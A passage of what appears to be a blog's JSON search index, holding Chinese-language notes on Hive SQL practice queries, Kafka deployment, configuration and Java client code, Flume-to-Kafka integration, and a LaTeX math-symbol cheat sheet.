BUCKETS] [ROW FORMAT row_format] [STORED AS file_format] [LOCATION hdfs_path] 说明：1、 CREATE TABLE 创建一个指定名字的表。如果相同名字的表已经存在，则抛出异常；用户可以用 IF NOT EXISTS 选项来忽略这个异常。2、 EXTERNAL 关键字可以让用户创建一个外部表，在建表的同时指定一个指向实际数据的路径（LOCATION），Hive 创建内部表时，会将数据移动到数据仓库指向的路径；若创建外部表，仅记录数据所在的路径，不对数据的位置做任何改变。在删除表的时候，内部表的元数据和数据会被一起删除，而外部表只删除元数据，不删除数据。3、LIKE 允许用户复制现有的表结构，但是不复制数据。4、ROW FORMAT DELIMITED [FIELDS TERMINATED BY char] [COLLECTION ITEMS TERMINATED BY char] [MAP KEYS TERMINATED BY char] [LINES TERMINATED BY char] | SERDE serde_name [WITH SERDEPROPERTIES (property_name=property_value, property_name=property_value, ...)] 用户在建表的时候可以自定义 SerDe 或者使用自带的 SerDe。如果没有指定 ROW FORMAT 或者 ROW FORMAT DELIMITED，将会使用自带的 SerDe。在建表的时候，用户还需要为表指定列，用户在指定表的列的同时也会指定自定义的 SerDe，Hive 通过 SerDe 确定表的具体的列的数据。5、 STORED AS SEQUENCEFILE|TEXTFILE|RCFILE 如果文件数据是纯文本，可以使用 STORED AS TEXTFILE。 hive 建表use mydb01;create table stu(id int,name string);insert into stu values (1,\"Tom\");select * from stu; 创建表并指定字段之间的分隔符 create table if not exists stu2(id int ,name string) row format delimited fieldsterminated by '\\t' stored as textfile location '/user/stu2'; 根据查询结果创建表 create table stu3 as select * from stu; 根据已经存在的表结构创建表 create table stu4 like stu; 查询表的类型 desc formatted stu2; 操作案例 分别创建老师与学生表表，并向表中加载数据创建老师表： create table teacher (t_id string,t_name string) row format delimited fields terminated by '\\t'; 创建学生表： create table student (s_id string,s_name string,s_birth string , s_sex string ) row format delimited fields terminated by '\\t'; 从本地文件系统向表中加载数据 load data local inpath '/export/servers/hivedatas/student.csv' into table student; 从 hdfs 文件系统向表中加载数据（需要提前将数据上传到 hdfs 文件系统，其实就是一个移动文件的操作） cd /export/servers/hivedatashdfs dfs -mkdir -p /hivedatashdfs dfs -put /export/servers/hivedatas/teacher.csv /hivedatas/load data inpath '/hivedatas/teacher.csv' into table teacher; 创建普通表，并向表中加载数据 create table course (c_id string,c_name string,t_id string) row format delimited fields terminated by '\\t';load data local inpath '/export/servers/hivedatas/course.csv' into table course;create table score (s_id string,c_id string,s_score int) row format delimited fields terminated by '\\t';load data local inpath '/export/servers/hivedatas/score.csv' into table score; hive 语句综合操作1、查询姓氏首字母为”M” 的教练的数量 select count(t_id) from teacher where t_name like 'M%'; 2、查询学过”MILLER” 教练授课的同学的信息 select stu.* from student stu,score sc where stu.s_id = sc.s_id and sc.c_id in (select c_id from course c, teacher t where t.t_id = c.t_id and t_name = 'MILLER'); 3、查询所有同学的学生编号、学生姓名、选课总数、所有运动的总成绩 select stu.s_id,stu.s_name,count(sc.c_id) sum_course,sum(sc.s_score) sum_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name; 4、查询平均成绩大于等于 60 分的同学的学生编号和学生姓名和平均成绩 select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score &gt;= 60;select stu.s_id,stu.s_name,Round(avg(sc.s_score),2) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having Round(avg(sc.s_score),2) &gt;= 60; 5、查询平均成绩小于 60 分的同学的学生编号和学生姓名和平均成绩 (包括有成绩的和无成绩的) select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score &lt; 60;select stu.s_id,stu.s_name,0 avg_score from student stu where stu.s_id not in(select distinct sc.s_id from score sc);select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score &lt; 60 union all select stu.s_id,stu.s_name,0 avg_score from student stu where stu.s_id not in(select distinct sc.s_id from score sc); 6、查询学过编号为”01” 并且也学过编号为”02” 的运动的同学的信息 select stu.* from student stu,score sc,score sc2 where stu.s_id = sc.s_id and stu.s_id = sc2.s_id and sc.c_id = '01'and sc2.c_id = '02'; 7、查询男生、女生人数 select count(s_sex='female'),count(s_sex='male') from student; 8、查询不及格的课程，并按课程号从大到小排列 select sc.c_id,sc.s_score from score sc where sc.s_score&lt;60 order by sc.c_id desc; 9、查询课程编号为”01” 且课程成绩在 60 分以上的学生的学号和姓名； select stu.s_id,stu.s_name,sc.s_score,sc.c_id from score sc,student stu where sc.s_id=stu.s_id and sc.c_id = 01 and sc.s_score&gt;60; 10、查询不及格的课程，并按课程号从大到小排列 select sc.c_id,sc.s_score FROM score sc WHERE sc.s_score&lt;60 order by sc.c_id desc;"},{"title":"","date":"2022-05-10T07:23:00.000Z","updated":"2022-05-12T05:54:00.000Z","comments":true,"path":"notes/Kafka/deploy.html","permalink":"https://blog.mhuig.top/notes/Kafka/deploy","excerpt":"","text":"安装部署 kafka 的安装部署 下载下载 kafka 安装压缩包http://archive.apache.org/dist/kafka/ 安装kafka 的安装：kafka 的安装必须要先安装 zk，必须要保证时钟同步 第一步：下载上传解压压缩包cd /export/softwarestar -zxvf kafka_2.11-1.0.0.tgz -C ../servers/ 第二步：修改配置文件第一台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=0log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node01scp -r kafka_2.11-1.0.0/ node02:$PWD 第二台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=1log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node02scp -r kafka_2.11-1.0.0/ node03:$PWD 第三台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=2log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node03 第三步：三台机器启动 kafka 集群前台启动 bin/kafka-server-start.sh config/server.properties 进程后台启动 nohup bin/kafka-server-start.sh config/server.properties &amp;"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2022-05-10T06:21:00.000Z","comments":true,"path":"notes/Kafka/index.html","permalink":"https://blog.mhuig.top/notes/Kafka/","excerpt":"","text":".fa-secondary{opacity:.4} Kafka Kafka .prev-next{ display: none !important; }"},{"title":"","date":"2022-05-10T07:25:00.000Z","updated":"2022-05-12T06:28:00.000Z","comments":true,"path":"notes/Kafka/manager.html","permalink":"https://blog.mhuig.top/notes/Kafka/manager","excerpt":"","text":"Kafka Manager kafka-manager 监控工具的使用 第一步：下载 kafkaManager源码下载地址： https://github.com/yahoo/kafka-manager/ 下载源码，然后上传解压准备编译 cd /export/servers/kafka-manager-1.3.3.15unzip kafka-manager-1.3.3.15.zip -d ../servers/./sbt clean dist 编译完成之后，我们需要的安装包就在这个路径之下 /export/servers/kafka-manager-1.3.3.15/target/universal 需要下载源码进行自己编译，比较麻烦，不要自己编译，已经有编译好的版本可以拿过来直接使用即可 第二步：上传编译好的压缩包并解压将我们编译好的 kafkamanager 的压缩包上传到服务器并解压 cd /export/softwaresunzip kafka-manager-1.3.3.15.zip -d /export/servers/ 第三步：修改配置文件cd /export/servers/kafka-manager-1.3.3.15/vim conf/application.conf application.confkafka-manager.zkhosts=\"node01:2181,node02:2181,node03:2181\" 第四步：为 kafkamanager 的启动脚本添加执行权限cd /export/servers/kafka-manager-1.3.3.15/binchmod u+x ./* 第五步：启动 kafkamanager 进程cd /export/servers/kafka-manager-1.3.3.15nohup bin/kafka-manager -Dconfig.file=/export/servers/kafka-manager1.3.3.15/conf/application.conf -Dhttp.port=8070 2&gt;&amp;1 &amp; 第六步：浏览器页面访问http://node01:8070/"},{"title":"","date":"2022-05-10T07:22:00.000Z","updated":"2022-05-12T05:47:00.000Z","comments":true,"path":"notes/Kafka/overview.html","permalink":"https://blog.mhuig.top/notes/Kafka/overview","excerpt":"","text":"Overview kafka 的介绍 消息队列Kafka: 是由 Linked 开源提供的分布式消息队列，由 scala 语言写成的 消息队列的作用：解耦 异步 并行 推送和拉取传统的消息队列给予 pub sub 发布和订阅 Kafka 消息队列基于: push pull 过程 推送和拉取 构架模型Producer: 生产者，生产消息的 主要接收一些外部的数据源 从外部获取数据 我们可以从 flume 中获取数据 kafkaAPI: 生产数据，通过 push 的方式主动将数据推送到 kafka 的 topic 当中去 topic: 主题，说白了里面就是一些各种数据 partition: 消息的分区，解决横向扩展问题。为了解决 partition 丢失问题，引用了一个副本机制. Broker: 一个服务器叫做一个 broker; Consumer: 消费者，主要用来消费数据的，主动的 pull 到 topic 拉取数据 Zookeeper: 为了解决消费者消费数据的时候，确定 topic 中到底有多少个 parttion, 都在哪些机器上. Kafka 消费模型: 组的概念，同一时间，一个组中，只能有一个线程去消费 parttion 中的数据，Partition 里面包含了多个 segement,segement 里面两个文件 .log 文件 .index 文件 .log 记录了我们的数据，文件是顺序读写的 .index 记录了.log 文件的索引 Offset: 消息的偏移量，我们消费数据的时候，都要记录消息的 offset, 下次再消费的时候，我们就可以确定数据该从哪里进行消费"},{"title":"","date":"2022-05-10T07:24:00.000Z","updated":"2022-05-12T06:00:00.000Z","comments":true,"path":"notes/Kafka/uses.html","permalink":"https://blog.mhuig.top/notes/Kafka/uses","excerpt":"","text":"管理使用 kafka 的管理使用 命令行创建 topicbin/kafka-topics.sh --create --partitions 3 --topic test --replication-factor 2 --zookeeper node01:2181,node02:2181,node03:2181 模拟消息的生产者：bin/kafka-console-producer.sh --broker-list node01:9092,node02:9092,node03:9092 --topic test 模拟消息的消费者bin/kafka-console-consumer.sh --bootstrap-server node01:9092,node02:9092,node03:9092 --from-beginning --topic test 消费为什么没顺序？ javaAPI生产者 APIpublic class MyKafkaProducer { public static void main(String[] args) { Properties props = new Properties(); props.put(\"bootstrap.servers\", \"node01:9092,node02:9092,node03:9092\"); props.put(\"acks\", \"all\"); props.put(\"retries\", 0); props.put(\"batch.size\", 16384); props.put(\"linger.ms\", 1); props.put(\"buffer.memory\", 33554432); props.put(\"key.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\"); props.put(\"value.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\"); Producer&lt;String, String&gt; producer = new KafkaProducer&lt;String,String&gt;(props); for (int i = 0; i &lt; 100; i++){ producer.send(new ProducerRecord&lt;String, String&gt;(\"test\", Integer.toString(i), Integer.toString(i))); } producer.close(); }} 消费者 APIpublic class MyKafkaConsumer { public static void main(String[] args) { /** * 自动提交 offset * */ Properties props = new Properties(); props.put(\"bootstrap.servers\", \"node01:9092,node02:9092,node03:9092\"); //设置我们的消费是属于哪一个组的，这个组名随便取，与别人的不重复即可 props.put(\"group.id\", \"test\"); //设置我们的 offset 值自动提交 props.put(\"enable.auto.commit\", \"true\"); //offset 的值自动提交的频率 1 提交 1.5 消费了 500 调数据 1.6 秒宕机了 2 提交 offset props.put(\"auto.commit.interval.ms\", \"1000\"); props.put(\"key.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\"); props.put(\"value.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\"); KafkaConsumer&lt;String, String&gt; consumer = new KafkaConsumer&lt;String,String&gt;(props); //消费者订阅我们的 topic consumer.subscribe(Arrays.asList(\"test\")); //相当于开启了一个线程，一直在运行，等待 topic 当中有数据就去拉取数据 while (true) { //push poll ConsumerRecords&lt;String, String&gt; records = consumer.poll(100); for (ConsumerRecord&lt;String, String&gt; record : records) System.out.printf(\"offset = %d, key = %s, value = %s%n\", record.offset(), record.key(), record.value()); } }} 数据的分区探究的是 kafka 的数据生产出来之后究竟落到了哪一个分区里面去了 第一种分区策略：给定了分区号，直接将数据发送到指定的分区里面去 第二种分区策略：没有给定分区号，给定数据的 key 值，通过 key 取上 hashCode 进行分区 第三种分区策略：既没有给定分区号，也没有给定 key 值，直接轮循进行分区 第四种分区策略：自定义分区 producer.send(new ProducerRecord&lt;String, String&gt;(\"test\",Integer.toString(i), Integer.toString(i)));//kafka 的第一种分区方式，如果给定了分区号，那么就直接将数据发送到指定的分区号里面去producer.send(new ProducerRecord&lt;String, String&gt;(\"test\",2,\"helloworld\",i+\"\"));//kafka 的第二种分区策略，没有给定分区号，给定了数据的 key，那么就通过 key 取 hashcode，将数据均匀的发送到三台机器里面去//注意如果实际工作当中，要通过 key 取上 hashcode 来进行分区，那么就一定要 保证 key 的变化，否则，数据就会全部去往一个分区里面producer.send(new ProducerRecord&lt;String, String&gt;(\"test\",i+\"\",i+\"\"));//kafka 的第三种分区策略，既没有给定分区号，也没有给定数据的 key 值，那么就会按照轮循的方式进行数的发送producer.send(new ProducerRecord&lt;String, String&gt;(\"test\",i+\"\"));//kafka 的第四种分区策略，自定义分区类，实现我们数据的分区 配置文件Server.properties 配置文件说明 #broker 的全局唯一编号，不能重复broker.id=0#用来监听链接的端口，producer 或 consumer 将在此端口建立连接port=9092#处理网络请求的线程数量num.network.threads=3#用来处理磁盘 IO 的线程数量 页缓存功能 线程数量num.io.threads=8#发送套接字的缓冲区大小socket.send.buffer.bytes=102400#接受套接字的缓冲区大小socket.receive.buffer.bytes=102400#请求套接字的缓冲区大小socket.request.max.bytes=104857600#kafka 运行日志存放的路径 确定我们磁盘的路径 df -lh 多个磁盘路径用逗号隔开log.dirs=/export/data/kafka/#topic 在当前 broker 上的分片个数，(一般都是在创建 topic 的时候手动指定好了分区的个数)num.partitions=2#用来恢复和清理 data 下数据的线程数量 文件什么时候删除 168h 后 7 天后num.recovery.threads.per.data.dir=1#segment 文件保留的最长时间，超时将被删除log.retention.hours=1#滚动生成新的 segment 文件的最大时间log.roll.hours=1#日志文件中每个 segment 的大小，默认为 1Glog.segment.bytes=1073741824 新的 segemnt 文件生成的策略： 第一个：时间长短，一个小时生成一个新的 第二个：文件大小，segement 文件达到 1G 也生成新的文件 #周期性检查文件大小的时间log.retention.check.interval.ms=300000#日志清理是否打开log.cleaner.enable=true#broker 需要使用 zookeeper 保存 meta 数据zookeeper.connect=zk01:2181,zk02:2181,zk03:2181#zookeeper 链接超时时间zookeeper.connection.timeout.ms=6000#partion buffer 中，消息的条数达到阈值，将触发 flush 到磁盘(页缓存里面有多少条数据 开始发)log.flush.interval.messages=10000#消息 buffer 的时间，达到阈值，将触发 flush 到磁盘log.flush.interval.ms=3000#删除 topic 需要 server.properties 中设置 delete.topic.enable=true 否则只是标记删除delete.topic.enable=true#此处的 host.name 为本机 IP(重要),如果不改,则客户端会抛出:Producer connection to localhost:9092 unsuccessful 错误!host.name=node01advertised.host.name=192.168.52.100 #广播地址 一般用不到 producer 生产者配置文件说明 生产数据的时候，尽量使用异步模式，可以提高数据生产的效率 #指定 kafka 节点列表，用于获取 metadata，不必全部指定metadata.broker.list=node01:9092,node02:9092,node03:9092# 指定分区处理类。默认 kafka.producer.DefaultPartitioner，表通过 key 哈希到对应分区#partitioner.class=kafka.producer.DefaultPartitioner# 是否压缩，默认 0 表示不压缩，1 表示用 gzip 压缩，2 表示用 snappy 压缩。压缩后消息中会有头来指明消息压缩类型，故在消费者端消息解压是透明的无需指定。compression.codec=none# 指定序列化处理类serializer.class=kafka.serializer.DefaultEncoder# 如果要压缩消息，这里指定哪些 topic 要压缩消息，默认 empty，表示不压缩。#compressed.topics=# 设置发送数据是否需要服务端的反馈,有三个值 0,1,-1# 0: producer 不会等待 broker 发送 ack# 1: 当 leader 接收到消息之后发送 ack# -1: 当所有的 follower 都同步消息成功后发送 ack.request.required.acks=1# 在向 producer 发送 ack 之前,broker 允许等待的最大时间 ，如果超时,broker 将会向 producer 发送一个 error ACK.意味着上一次消息因为某种原因未能成功(比如 follower 未能同步成功)request.timeout.ms=10000# 同步还是异步发送消息，默认“sync”表同步，\"async\"表异步。异步可以提高发送吞吐量,也意味着消息将会在本地 buffer 中,并适时批量发送，但是也可能导致丢失未发送过去的消息producer.type=sync# 在 async 模式下,当 message 被缓存的时间超过此值后,将会批量发送给broker,默认为 5000ms# 此值和 batch.num.messages 协同工作.queue.buffering.max.ms = 5000# 在 async 模式下,producer 端允许 buffer 的最大消息量# 无论如何,producer 都无法尽快的将消息发送给 broker,从而导致消息在producer 端大量沉积# 此时,如果消息的条数达到阀值,将会导致 producer 端阻塞或者消息被抛弃，默认为 10000queue.buffering.max.messages=20000# 如果是异步，指定每次批量发送数据量，默认为 200batch.num.messages=500# 当消息在 producer 端沉积的条数达到\"queue.buffering.max.meesages\"后# 阻塞一定时间后,队列仍然没有 enqueue(producer 仍然没有发送出任何消息)# 此时 producer 可以继续阻塞或者将消息抛弃,此 timeout 值用于控制\"阻塞\"的时间# -1: 无阻塞超时限制,消息不会被抛弃# 0:立即清空队列,消息被抛弃queue.enqueue.timeout.ms=-1# 当 producer 接收到 error ACK,或者没有接收到 ACK 时,允许消息重发的次数# 因为 broker 并没有完整的机制来避免消息重复,所以当网络异常时(比如ACK 丢失)# 有可能导致 broker 接收到重复的消息,默认值为 3.message.send.max.retries=3# producer 刷新 topic metada 的时间间隔,producer 需要知道 partition leader的位置,以及当前 topic 的情况# 因此 producer 需要一个机制来获取最新的 metadata,当 producer 遇到特定错误时,将会立即刷新# (比如 topic 失效,partition 丢失,leader 失效等),此外也可以通过此参数来配置额外的刷新机制，默认值 600000topic.metadata.refresh.interval.ms=60000 consumer 消费者配置详细说明 # zookeeper 连接服务器地址zookeeper.connect=zk01:2181,zk02:2181,zk03:2181# zookeeper 的 session 过期时间，默认 5000ms，用于检测消费者是否挂掉zookeeper.session.timeout.ms=5000#当消费者挂掉，其他消费者要等该指定时间才能检查到并且触发重新负载均衡zookeeper.connection.timeout.ms=10000# 指定多久消费者更新 offset 到 zookeeper 中。注意 offset 更新时基于 time而不是每次获得的消息。一旦在更新 zookeeper 发生异常并重启，将可能拿到已拿到过的消息(原来正在消费的线程保护期 看死没死透)zookeeper.sync.time.ms=2000#指定消费group.id=qst# 当 consumer 消费一定量的消息之后,将会自动向 zookeeper 提交 offset 信息# 注意 offset 信息并不是每消费一次消息就向 zk 提交一次,而是现在本地保存(内存),并定期提交,默认为 trueauto.commit.enable=true# 自动更新时间。默认 60 * 1000auto.commit.interval.ms=1000# 当前 consumer 的标识,可以设定,也可以有系统生成,主要用来跟踪消息消费情况,便于观察conusmer.id=xxx (没什么用)# 消费者客户端编号，用于区分不同客户端，默认客户端程序自动产生client.id=xxxx (没什么用)# 最大取多少块缓存到消费者(默认 10)queued.max.message.chunks=50(尽量一次多去点儿)# 当有新的 consumer 加入到 group 时,将会 reblance,此后将会有 partitions 的消费端迁移到新的 consumer上 ,如果一个 consumer 获得了某个 partition 的消费权限,那么它将会向 zk 注册 \"Partition Owner registry\"节点信息,但是有可能此时旧的 consumer 尚没有释放此节点, 此值用于控制,注册节点的重试次数.rebalance.max.retries=5# 获取消息的最大尺寸,broker 不会像 consumer 输出大于此值的消息 chunk每次 feth 将得到多条消息 ,此值为总大小 ,提升此值 ,将会消耗更多的 consumer 端内存fetch.min.bytes=6553600# 当消息的尺寸不足时,server 阻塞的时间,如果超时,消息将立即发送给consumerfetch.wait.max.ms=5000socket.receive.buffer.bytes=655360# 如果 zookeeper 没有 offset 值或 offset 值超出范围。那么就给个初始的 offset。有 smallest、largest、anything 可选，分别表示给当前最小的 offset、当前最大的 offset、抛异常。默认 largestauto.offset.reset=smallest# 指定序列化处理类derializer.class=kafka.serializer.DefaultDecoder flume 与 kafka 的整合需求：使用 flume 监控某一个文件夹下面的文件的产生，有了新文件，就将文件内容收集起来放到 kafka 消息队列当中 source：spoolDir Sourcechannel：memory channelsink：数据发送到 kafka 里面去 flume 与 kafka 的配置文件开发 第一步：flume 下载地址http://archive.cloudera.com/cdh5/cdh/5/flume-ng-1.6.0-cdh5.14.0.tar.gz 第二步：上传解压 flume 第三步：配置 flume.conf flume.confa1.sources = r1a1.channels = c1a1.sinks = k1a1.sources.r1.channels = c1a1.sources.r1.type = spooldira1.sources.r1.spoolDir = /export/servers/flumedataa1.sources.r1.deletePolicy = nevera1.sources.r1.fileSuffix = .COMPLETEDa1.sources.r1.ignorePattern = ^(.)*\\\\.tmp$a1.sources.r1.inputCharset = GBKa1.channels.c1.type = memorya1.sinks.k1.channel = c1a1.sinks.k1.type = org.apache.flume.sink.kafka.KafkaSinka1.sinks.k1.kafka.topic = testa1.sinks.k1.kafka.bootstrap.servers = node01:9092,node02:9092,node03:9092a1.sinks.k1.kafka.flumeBatchSize = 20a1.sinks.k1.kafka.producer.acks = 1 创建 flumedata 目录 mkdir -p /export/servers/flumedata 启动 flume bin/flume-ng agent --conf conf --conf-file conf/flume.conf --name a1 -Dflume.root.logger=INFO,console 消费数据 bin/kafka-console-consumer.sh --bootstrap-servernode01:9092,node02:9092,node03:9092 --from-beginning --topic test"},{"title":"","date":"2019-09-22T11:31:00.000Z","updated":"2022-05-10T02:26:00.000Z","comments":true,"path":"notes/LaTeX/index.html","permalink":"https://blog.mhuig.top/notes/LaTeX/","excerpt":"","text":".fa-secondary{opacity:.4} LaTeX 数学符号语法速查表 PS： 更多符号使用可以查看 LaTeX:Symbols 加减乘除 符号 语法 + - \\times \\div 幂运算 符号 语法 a^x a^{xyz} \\sqrt{x} \\sqrt[n]{x} 逻辑运算 符号 语法 \\oplus \\vee \\wedge 关系运算 符号 语法 = \\not= \\approx &gt; &lt; 符号 语法 \\equiv \\le \\ge \\ll \\gg 集合 符号 语法 \\in \\ni \\subset \\supset \\subseteq \\supseteq 存在 符号 语法 \\exists \\forall 希腊字母要输入希腊字母只要用反斜杠 \\ 加上相应字母的拼写即可。大写字母将对应拼写的首字母大写即可，这里仅列出一部分作为参考。 符号（小写） 语法 \\phi \\omega \\delta \\gamma 符号（大写） 语法 \\Phi \\Omega \\Delta \\Gamma 箭头 符号 语法 \\gets \\to \\Leftarrow \\Rightarrow \\Leftrightarrow 省略号 符号 语法 \\dots \\cdots \\vdots \\ddots 头顶符号 符号 语法 \\hat{x} \\bar{x} \\vec{x} \\dot{x} \\ddot{x} 标准括号 符号 语法 ( ) [ ] 取整括号（函数） 符号 语法 \\lfloor \\rfloor \\lceil \\rceil 空格LaTex 默认会忽略掉空格，要显示空格的话需要自己用命令输入（mu 是一个数学单位）。 效果 说明 语法 空格宽度是当前字宽 (18mu) \\quad 空格宽度是 3mu \\, 空格宽度是 4mu \\: 空格宽度是 5mu \\; 空格宽度是 - 3mu (向左缩) \\! 空格宽度是标准空格键效果 在 \\ 后面敲一个空格 空格宽度是 36mu \\qquad 上标与下标使用 ^ 和 _ 来表示上下标，使用 {} 来限定上下标的所属关系，下面是一些使用示例。 符号 语法 x^i a_i x^{a_i} x^a_i x^{a^i} x_{i+1} 上划线下划线 符号 语法 \\overline{a+bi} \\underline{xyz} 分式分式有两种尺寸表示，分别用 frac 和 dfrac 关键字表示 尺寸 较小 较小 适中 适中 符号 语法 \\frac{1}{2} \\frac{1+\\frac{1}{x}}{3x + 2} \\dfrac{1}{2} \\dfrac{1+\\frac{1}{x}}{3x + 2} 连续嵌套使用时用：\\cfrac 符号显示 语法 \\cfrac{1+\\cfrac{2}{1+\\cfrac{2}{1+\\cfrac{2}{1}}}}{2} 根式 符号 语法 \\sqrt{x+y} \\sqrt{x} \\sqrt[n]{x} 三角函数直接反斜杠 \\ 加正常书写的符号即可，这里只列举几个。 符号 语法 \\cos \\sin \\arccos 符号 语法 \\cos^2 x +\\sin^2 x = 1 \\cos 90^\\circ = 0 求和 求积 求极限 符号 语法 \\sum \\prod \\lim 符号 语法 \\sum_{i=1}^{\\infty}\\frac{1}{i} \\prod_{n=1}^5\\frac{n}{n-1} \\lim_{x\\to\\infty}\\frac{1}{x} 求积分 偏导 符号 语法 \\int \\oint \\partial^2y 符号 语法 \\frac{d}{dx}\\left(x^2\\right) = 2x \\int 2x\\ dx = x^2+C \\frac{\\partial^2U}{\\partial x^2} + \\frac{\\partial^2U}{\\partial y^2} 绝对值直接插入竖线 | 即可，可使用 \\left 、 \\right 标签来指定竖线的垂直长度与那对应字符块匹配 直接插入竖线： |a^x|指定垂直长度相匹配： \\left|a\\right|^\\left|x\\right| 直接插入竖线：指定垂直长度相匹配： 注：所有成对出现的符号均可以像上面那样使用 \\left 、 \\right 标签来指定其大小匹配的字符块。 矩阵和行列式所有的矩阵都是使用 \\begin{matrix} 开始， \\end{matrix} 结束。其中的 matrix 还可以改为 pmatrix 、 bmatrix 、 Bmatrix 、 vmatrix 、 Vmatrix 。 在每一行中使用 &amp; 分隔元素，行末用双反斜杠 \\ 表示换行。 ## 基础格式 对于下面的公式，修改大括号内的关键字分别为 matrix 、 pmatrix 、 bmatrix 、 Bmatrix 、 vmatrix 、 Vmatrix 时对应的情况如下所示。 \\begin{matrix}A &amp; B &amp; C\\\\D &amp; E &amp; F\\\\G &amp; H &amp; I\\\\\\end{matrix} matrix pmatrix bmatrix Bmatrix vmatrix Vmatrix 带省略号的矩阵这里使用 bmatrix 做示范，其他的类似。 如上面 “省略号” 所在小节所示，时使用 \\cdots 表示水平方向省略号， \\vdots 表示竖直方向省略号， \\ddots 表示对角线方向省略号（我这里为了美观把公式按 &amp; 对齐了，这并不是必需的）。 \\begin{bmatrix}A &amp; B &amp; \\cdots &amp; C \\\\D &amp; E &amp; \\cdots &amp; F \\\\\\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\G &amp; H &amp; \\cdots &amp; I \\\\\\end{bmatrix} 矩阵方程（函数）使用 \\begin{equation} 作为整个公式块的开始，以 \\end{equation} 结束。在里面再配合其他符号的语法使用即可。 一个简单的例子如下（这里使用 bmatrix 做示范，其他的类似）。 \\begin{equation}H_x=\\frac{1}{3}\\times{\\begin{bmatrix}A &amp; B &amp; \\cdots &amp; C \\\\D &amp; E &amp; \\cdots &amp; F \\\\\\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots\\\\G &amp; H &amp; \\cdots &amp; I \\\\\\end{bmatrix}}\\end{equation} 其他符号 符号 语法 \\infty \\triangle \\angle \\checkmark \\nabla"},{"title":"","date":"2020-02-09T02:41:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/NoSQL/Cassandra.html","permalink":"https://blog.mhuig.top/notes/NoSQL/Cassandra","excerpt":"","text":"Cassandra Cassandra - NoSQL volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2020-02-09T02:42:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/NoSQL/HBase.html","permalink":"https://blog.mhuig.top/notes/NoSQL/HBase","excerpt":"","text":"HBase HBase - NoSQL volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2020-02-09T02:43:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/NoSQL/MongoDB.html","permalink":"https://blog.mhuig.top/notes/NoSQL/MongoDB","excerpt":"","text":"MongoDB MongoDB - NoSQL volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2020-02-09T02:45:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/NoSQL/Neo4j.html","permalink":"https://blog.mhuig.top/notes/NoSQL/Neo4j","excerpt":"","text":"Neo4j Neo4j - NoSQL volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2020-02-09T02:40:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/NoSQL/NoSQL.html","permalink":"https://blog.mhuig.top/notes/NoSQL/NoSQL","excerpt":"","text":"NoSQL NoSQL volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2022-05-10T02:04:00.000Z","updated":"2022-05-10T02:04:00.000Z","comments":true,"path":"notes/NoSQL/index.html","permalink":"https://blog.mhuig.top/notes/NoSQL/","excerpt":"","text":".fa-secondary{opacity:.4} NoSQL NoSQL .prev-next{ display: none !important; 